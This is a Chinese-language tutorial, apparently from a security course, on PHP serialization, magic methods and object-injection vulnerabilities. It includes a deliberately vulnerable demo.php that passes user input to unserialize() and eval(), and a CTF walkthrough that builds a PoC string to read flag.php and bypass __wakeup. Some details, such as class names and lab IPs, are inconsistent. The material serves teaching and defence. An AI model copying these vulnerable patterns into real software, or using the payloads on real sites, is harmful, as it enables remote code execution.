1 PHP 序列化基础概念
1.1 什么是序列化
序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
为什么要序列化?
PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
学习序列化要了解的基本内容。
类(Class): 类的定义包含了数据的形式以及对数据的操作。
对象:对象是类的实例。
方法:类中定义的函数。#下面这个序列化的实例中我们没有用到,魔术方法小节中详解。
PHP 序列化函数
serialize() //将一个对象转换成一个字符串
┌──(root㉿xuegod52)-[~] └─# cd /var/www/html/ └─# vim serialize.php <?php //创建一个类 Testclass Test{ //定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。private $a = "private";public $b = "public";protected $c = "protected";} //创建一个对象,对象是类的实例。$test = new Test(); //序列化 test 这个对象$data = serialize($test); //打印序列化后的对象echo $data; ?>
扩展:
属性:属性就是变量,但是定义在类中我们可以给变量设置一些权限。
Public(公开): 可以自由的在类的内部外部读取、修改。
Private(私有): 只能在这个当前类的内部读取、修改。
Protected(受保护):能够在这个类和类的子类中读取和修改。
访问:http://192.168.135.130/serialize.php
O:4:"test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}
注:
O:4:"test" #O→Object(对象)4→对象名称长度为 4 个字符
3 对象属性个数为 3
{s:7:"Testa";s:7:"private";
s=string 7=Testa 字节数,Testa 的属性为 private,所以会在 Test 左右各添加一个空白字符,所以长度为 7,第二个值为 Testa 的值 s=string 7=private 字节长度,private 类型的属性名称为类名称+属性名称也就是 Test+a,例如 0x00Test0x00a
s:1:"b";s:6:"public";
public 类型的就比较正常 s=string 1=b 字节长度
s:4:"*c";s:9:"protected";}
protected 有点区别 s=string 4=*d protected 则会在属性名称 d 前面加*号然后*的左右各一个
空白字节,例如 0x00*0x00d
小结:
序列化就是把对象转换为字符串进行存储或传输
1.2 什么是反序列化
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
PHP 反序列化函数
unserialize() //将字符串还原成一个对象
这是我们前面把对象序列化后的结果,我们将对这个序列化后的字符串进行反序列化还原成对象。
O:4:"Test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}
┌──(root㉿xuegod52)-[~] └─# vim unserialize.php <?php //定义 data 变量为序列化之后的对象。$data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" * c";s:9:"protected";}'; //使用 unserialize 将序列化后的字符串进行反序列化$test = unserialize($data); //通过 var_dump 打印出 test 对象。此时 test 已经从字符串变成了一个对象。var_dump($test); ?>
访问页面:http://192.168.135.130/unserialize.php
或者输入php unserialize.php
修改序列化的属性值 ┌──(root㉿xuegod52)-[/var/www/html] └─# vim unserialize.php <?php $data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:10:"xuegodnice";s:4:" *c";s:9:"xuegod.cn";}';$test = unserialize($data);var_dump($test); ?> 修改属性 b 和属性 c 的值为 xuegodnice 和 xuegod.cn。注意修改后的字符串长度要和序列化中定 义的字符长度一致。比如 b 的 s:10 则 xuegodnice 为 10 个字符。 访问页面:http://192.168.1.63/unserialize.php object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(4) "Test"[" Test a"]=>string(7) "private"["b"]=>string(10) "xuegodnice"[" * c"]=>string(9) "xuegod.cn}
访问页面:http://192.168.135.130/unserialize.php
或者输入php unserialize.php
小结:
修改序列化后的字符串等于修改了对象的属性。但是要注意修改后的字符串长度如果改变了同时要将前面的字符串长度也一并修改。也就是说如果我们用户可以自定义修改序列化后的字符串,我们就可以改变这个对象中的属性。
1.3 序列化-魔术方法
魔术方法介绍:
方法:类中定义的函数。
上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。
特殊的方法-魔术方法。
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __wakeup() 使用 unserialize 时触发 __sleep() 使用 serialize 时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用 isset()或 empty()触发 __unset() 在不可访问的属性上使用 unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象作为函数调用时触发
更多魔术方法详见:PHP: 魔术方法 - Manual
┌──(root㉿xuegod52)-[/var/www/html] └─#vim magic.php <?php //创建 test 类 class test{ //属性$varr1=free public $varr1="free"; //自定义方法 echovarr1 public function echovarr1(){echo $this->varr1." in echovarr1()<br>"; } //以下是常用的魔术方法 public function __construct(){echo "__construct 当一个对象创建时被调用<br>"; } public function __destruct(){ echo "__destruct 当一个对象销毁时被调用<br>"; } public function __toString(){return "__toString 把类当作字符串使用时触发,返回值需要为字符串<br>"; } public function __sleep(){echo "__sleep 使用 serialize 时触发<br>";return array('varr1'); } public function __wakeup(){echo "__wakeup 使用 unserialize 时触发<br>"; } } //实例化对象,调用__construct()方法,输出__construct $xuegod = new test(); //调用 echovarr1()方法,输出 varr1 "free" $xuegod->echovarr1(); //$xuegod 对象被当做字符串输出,调用__toString()方法,输出__toString echo $xuegod; //$xuegod 对象被序列化,调用__sleep()方法,输出__sleep $s =serialize($xuegod); //$s 首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用 _toString()方法。 echo unserialize($s); //脚本结束会调用__destruct()方法,输出__destruct //由于反序列化相当于又创建了一个对象,所以脚本结束后会输出两次__destruct ?>
访问 web 页面: http://192.168.1.63/magic.php
通过 magic.php 页面我们可以判断出魔术方法的触发顺序。
小结:
魔术方法是 PHP 内置的方法,对象通过特定的触发方式来执行魔术方法。也可直接调用用户自定义的方法
1.4 序列化漏洞的原理
当用户的请求在传给反序列化函数 unserialize()之前没有被正确的过滤时就会产生漏洞。因为 PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。
反序列化漏洞出现需要满足两个条件:
1. unserialize 时参数用户可控
2. 参数被传递到方法中被执行,并且方法中使用了危险函数。
什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。
┌──(root㉿xuegod52)-[/var/www/html] └─# vim demo.php <?php class Test{var $free = "demo";function __destruct(){ //_destruct()函数中调用 eval 执行序列化对象中的语句@eval($this->free);} } $free = $_GET['free']; $len = strlen($free)+1; //构造序列化对象 $ser = "O:4:\"Test\":1:{s:4:\"free\";s:".$len.":\"".$free.";\";}"; // 反序列化同时触发_destruct 函数 $xuegod = unserialize($ser); ?>
用户提交的参数作为序列化后的字符串参数,进行反序列化时触发__destruct()魔术方法,而魔术方法中使用危险函数 eval(),$this->free 可以调用对象中的 free 属性,所以使 $free = "phpinfo();";而 @eval($this->free); 则执行 free 属性中的 php 代码。
访问页面:http://192.168.135.130/demo.php?free=phpinfo()
小结:
Demo.php 这个案例就是一个最基础的反序列化漏洞的例子,它具备了 unserialize 参数可控,由魔术方法自动触发执行危险代码。
2 反序列化漏洞实例-ctf
上传 ctf.tar.gz 文件
┌──(root㉿xuegod52)-[/var/www/html] └─#tar xf ctf.tar.gz -C /var/www/html/
访问题目页面:http://192.168.135.130/ctf.php
可以看到页面通过 show_source 打印了 ctf.php 的源码,所以题目一定是要我们做代码审计,图中标注的两处位置是我们反序列化漏洞的两个必要因素,unserialize 参数可控,show_source 危险函数。
解题思路
第一:通过 GET 方式传参序列化后的字符串作为 file 变量的值给 ctf.php
第二:通过我们构造的 file 变量的序列化字符串让 show_source($this->file)最终的执行结果为show_source(flag.php);
首先我们要构造参数,file 参数是要经过反序列化的,那么我们需要写个 Poc 来生成一段序列化的字符串。把源代码中的类复制出来新建一个 poc.php 将其序列化输出。
Poc 我们在 kali 中创建,不要在运行 ctf.php 的主机上创建,否则引用了 flag.php 之后序列化时会打印出 flag.php。
┌──(root㉿xuegod52)-[/var/www/html] └─# systemctl start apache2 ┌──(root㉿xuegod52)-[/var/www/html] └─#vim /var/www/html/poc.php <?php class xuegod{//修改 file=flag.phpprivate $file='flag.php';function __destruct(){if(!empty($this->file)){show_source($this->file);}}function __wakeup(){$this->file='ctf.php';}} $free = new xuegod(); $s = serialize($free); echo $s; ?>
访问 poc 页面获取序列化字符串:http://192.168.135.130/poc.php以及flag
小结:
1. 绕过__wakeup()的方法为修改属性数量,只要大于类中的数量即可绕过。
-
属性字段的长度要匹配,而且根据属性类型来添加空白字符。并修改字段类型为 S。
3 反序列化漏洞修复和防御
针对unserialize和Magic函数审计
对用户输入的内容过滤
白名单,限制反序列化的类;不能动态传参